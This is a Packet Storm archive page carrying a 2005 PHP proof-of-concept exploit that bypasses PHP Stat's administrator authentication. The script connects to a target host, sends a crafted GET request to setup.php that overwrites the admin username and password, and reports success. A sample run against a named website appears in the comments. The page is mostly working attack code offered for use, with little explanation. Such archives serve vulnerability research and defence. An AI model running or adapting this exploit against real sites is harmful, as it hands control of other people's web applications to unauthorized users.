what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

sbphpstatpoc.txt

sbphpstatpoc.txt
Posted Aug 14, 2005
Site soulblack.com.ar

PHP Stat administrative user authentication bypass exploit. Written in PHP.

tags | exploit, php
SHA-256 | 5e7417137cc7825439b9bf7fb8163fcc8faaf064ad7d4b61d07fe6f09a972767

sbphpstatpoc.txt

Change Mirror Download
<?

/*

**************************************************************
PHP Stat Administrative User Authentication Bypass POC Exploit
Code by Nikyt0x - Soulblack Security Research
**************************************************************

Advisory:
http://www.soulblack.com.ar/repo/papers/phpstat_advisory.txt

Saludos:
Soulblack Staff, Status-x, NeosecurityTeam,
KingMetal, SWP, Trespasser...

nikyt0x@gmail.com
http://www.nikyt0x.tk

**************************************************************
**This Exploit Change Admin Username and Password
**Username: admin
**Password: admin
**************************************************************


php sbphpstatpoc.php www.spazfarm.com /spazstats/setup.php

==============================================================
PHP Stat Administrative User Authentication Bypass POC Exploit
==============================================================
by Nikyt0x - Soulblack Security Research

[+] Testing: www.spazfarm.com
[+] Socket
[+] Sending Exploit
[+] OK

Open www.spazfarm.com/spazstats/setup.php

Username: admin
Password: 123456

**************************************************************
*/

// username and password

$username = "admin";
$password = "123456";

function sh0w()
{
echo "\n ==============================================================\n";
echo " PHP Stat Administrative User Authentication Bypass POC Exploit\n";
echo " ==============================================================\n";
echo " by Nikyt0x - Soulblack Security Research\n\n";
}

if ($argc != 3)
{
sh0w();
echo "\n\n Usage:\n sbphpstatpoc.php www.site.com /dir/to/setup.php\n";
exit();
}


if(!ereg('setup.php',$argv[2])) {
echo "URL to setup.php Incorrect.\n";
exit(0);
}

sh0w();

echo " [+] Testing: $argv[1]\n";

$s0ck3t = fsockopen($argv[1], 80);

if (!$s0ck3t) {
echo " [-] Socket\n";
exit(0);
} else {

$petici0n = "GET $argv[2]?check=yes&username=$username&password=$password HTTP/1.1\r\n";
$petici0n .= "Host: $argv[1]\r\n";
$petici0n .= "Connection: Close\r\n\r\n";

echo " [+] Socket\n";

if(!fwrite($s0ck3t, $petici0n))
{
echo " [-] Sending Exploit\n";
exit(0);
}
echo " [+] Sending Exploit\n";

while (!feof($s0ck3t)) {
$g3tdata = fgets($s0ck3t, 1024);
if (eregi('Setup has been updated',$g3tdata))
{
echo " [+] OK\n\n";
echo " Open $argv[1]$argv[2]\n\n Username: $username\n Password: $password\n";
exit();
}

}
fclose($s0ck3t);
}

?>
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close